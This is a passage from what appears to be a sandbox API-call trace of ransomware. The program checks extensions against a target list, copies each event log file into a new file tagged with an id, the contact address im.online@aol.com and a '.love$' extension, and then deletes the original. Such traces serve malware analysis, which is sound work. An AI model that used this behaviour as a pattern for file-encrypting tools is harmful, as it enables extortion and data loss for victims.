WriteFile (in: hFile=0x3b8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x132, lpOverlapped=0x0) returned 1 [0224.669] SetEndOfFile (hFile=0x3b8) returned 1 [0224.669] CloseHandle (hObject=0x3b8) returned 1 [0224.679] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.679] SetEndOfFile (hFile=0x3b4) returned 1 [0224.681] CloseHandle (hObject=0x3b4) returned 1 [0224.681] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.681] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0224.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.682] lstrlenW (lpString=".doc") returned 4 [0224.682] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString=".docx") returned 5 [0224.682] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.682] lstrlenW (lpString=".pdf") returned 4 [0224.682] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString=".xls") returned 4 [0224.682] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString=".xlsx") returned 5 [0224.682] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.682] lstrlenW (lpString=".ppt") returned 4 [0224.682] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.682] lstrlenW (lpString=".zip") returned 4 [0224.682] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString=".rar") returned 4 [0224.682] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString=".bz2") returned 4 [0224.682] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.682] lstrlenW (lpString=".7z") returned 3 [0224.682] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.683] lstrlenW (lpString=".dbf") returned 4 [0224.683] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.683] lstrlenW (lpString=".1cd") returned 4 [0224.683] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.683] lstrlenW (lpString=".jpg") returned 4 [0224.683] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.683] lstrlenW (lpString=".doc") returned 4 [0224.683] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString=".docx") returned 5 [0224.683] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.683] lstrlenW (lpString=".pdf") returned 4 [0224.683] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString=".xls") returned 4 [0224.683] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString=".xlsx") returned 5 [0224.683] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.683] lstrlenW (lpString=".ppt") returned 4 [0224.683] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.683] lstrlenW (lpString=".zip") returned 4 [0224.683] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString=".rar") returned 4 [0224.683] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString=".bz2") returned 4 [0224.683] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.683] lstrlenW (lpString=".7z") returned 3 [0224.683] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.684] lstrlenW (lpString=".dbf") returned 4 [0224.684] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.684] lstrlenW (lpString=".1cd") returned 4 [0224.684] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.684] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0224.684] lstrlenW (lpString=".jpg") returned 4 [0224.684] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.684] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.684] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0224.684] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0224.684] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0224.684] CloseHandle (hObject=0x3b4) returned 1 [0224.685] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0224.685] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.685] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0224.685] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.685] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.685] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0224.686] GetLastError () returned 0x0 [0224.686] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.704] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.707] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.707] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x13a, lpOverlapped=0x0) returned 1 [0224.707] SetEndOfFile (hFile=0x3b8) returned 1 [0224.707] CloseHandle (hObject=0x3b8) returned 1 [0224.712] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.712] SetEndOfFile (hFile=0x3b4) returned 1 [0224.714] CloseHandle (hObject=0x3b4) returned 1 [0224.714] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.714] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0224.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.715] lstrlenW (lpString=".doc") returned 4 [0224.715] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString=".docx") returned 5 [0224.715] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.715] lstrlenW (lpString=".pdf") returned 4 [0224.715] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString=".xls") returned 4 [0224.715] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString=".xlsx") returned 5 [0224.715] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.715] lstrlenW (lpString=".ppt") returned 4 [0224.715] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.715] lstrlenW (lpString=".zip") returned 4 [0224.715] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString=".rar") returned 4 [0224.715] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString=".bz2") returned 4 [0224.715] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString=".7z") returned 3 [0224.715] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.715] lstrlenW (lpString=".dbf") returned 4 [0224.715] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.715] lstrlenW (lpString=".1cd") returned 4 [0224.715] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.715] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.715] lstrlenW (lpString=".jpg") returned 4 [0224.716] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.716] lstrlenW (lpString=".doc") returned 4 [0224.716] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString=".docx") returned 5 [0224.716] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.716] lstrlenW (lpString=".pdf") returned 4 [0224.716] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString=".xls") returned 4 [0224.716] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString=".xlsx") returned 5 [0224.716] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.716] lstrlenW (lpString=".ppt") returned 4 [0224.716] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.716] lstrlenW (lpString=".zip") returned 4 [0224.716] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString=".rar") returned 4 [0224.716] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString=".bz2") returned 4 [0224.716] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString=".7z") returned 3 [0224.716] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.716] lstrlenW (lpString=".dbf") returned 4 [0224.716] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.716] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.716] lstrlenW (lpString=".1cd") returned 4 [0224.717] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.717] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0224.717] lstrlenW (lpString=".jpg") returned 4 [0224.717] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.717] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.717] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0224.717] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0224.863] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0224.863] CloseHandle (hObject=0x3bc) returned 1 [0224.863] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0224.864] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.864] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0224.864] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.864] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.864] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0224.864] GetLastError () returned 0x0 [0224.864] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.912] WriteFile (in: hFile=0x408, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.914] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.914] WriteFile (in: hFile=0x408, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x128, lpOverlapped=0x0) returned 1 [0224.914] SetEndOfFile (hFile=0x408) returned 1 [0224.915] CloseHandle (hObject=0x408) returned 1 [0224.918] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.918] SetEndOfFile (hFile=0x3bc) returned 1 [0224.920] CloseHandle (hObject=0x3bc) returned 1 [0224.921] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.921] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0224.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.921] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.921] lstrlenW (lpString=".doc") returned 4 [0224.921] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.921] lstrlenW (lpString=".docx") returned 5 [0224.921] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.921] lstrlenW (lpString=".pdf") returned 4 [0224.922] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString=".xls") returned 4 [0224.922] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString=".xlsx") returned 5 [0224.922] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.922] lstrlenW (lpString=".ppt") returned 4 [0224.922] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.922] lstrlenW (lpString=".zip") returned 4 [0224.922] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString=".rar") returned 4 [0224.922] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString=".bz2") returned 4 [0224.922] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString=".7z") returned 3 [0224.922] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.922] lstrlenW (lpString=".dbf") returned 4 [0224.922] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.922] lstrlenW (lpString=".1cd") returned 4 [0224.922] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.922] lstrlenW (lpString=".jpg") returned 4 [0224.922] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.922] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.922] lstrlenW (lpString=".doc") returned 4 [0224.922] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString=".docx") returned 5 [0224.923] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.923] lstrlenW (lpString=".pdf") returned 4 [0224.923] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString=".xls") returned 4 [0224.923] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString=".xlsx") returned 5 [0224.923] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.923] lstrlenW (lpString=".ppt") returned 4 [0224.923] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.923] lstrlenW (lpString=".zip") returned 4 [0224.923] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString=".rar") returned 4 [0224.923] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString=".bz2") returned 4 [0224.923] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString=".7z") returned 3 [0224.923] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.923] lstrlenW (lpString=".dbf") returned 4 [0224.923] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.923] lstrlenW (lpString=".1cd") returned 4 [0224.923] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0224.923] lstrlenW (lpString=".jpg") returned 4 [0224.923] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.924] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.924] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0224.924] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0224.924] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=69632) returned 1 [0224.924] CloseHandle (hObject=0x3bc) returned 1 [0224.924] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0224.924] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.924] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0224.924] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.925] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.925] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0224.927] GetLastError () returned 0x0 [0224.928] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.986] WriteFile (in: hFile=0x408, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.989] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0224.989] WriteFile (in: hFile=0x408, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x122, lpOverlapped=0x0) returned 1 [0224.989] SetEndOfFile (hFile=0x408) returned 1 [0224.989] CloseHandle (hObject=0x408) returned 1 [0224.992] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0224.992] SetEndOfFile (hFile=0x3bc) returned 1 [0224.994] CloseHandle (hObject=0x3bc) returned 1 [0224.994] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.995] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0224.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.995] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0224.995] lstrlenW (lpString=".doc") returned 4 [0224.995] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.995] lstrlenW (lpString=".docx") returned 5 [0224.995] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.995] lstrlenW (lpString=".pdf") returned 4 [0224.995] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.995] lstrlenW (lpString=".xls") returned 4 [0224.995] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.995] lstrlenW (lpString=".xlsx") returned 5 [0224.995] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.995] lstrlenW 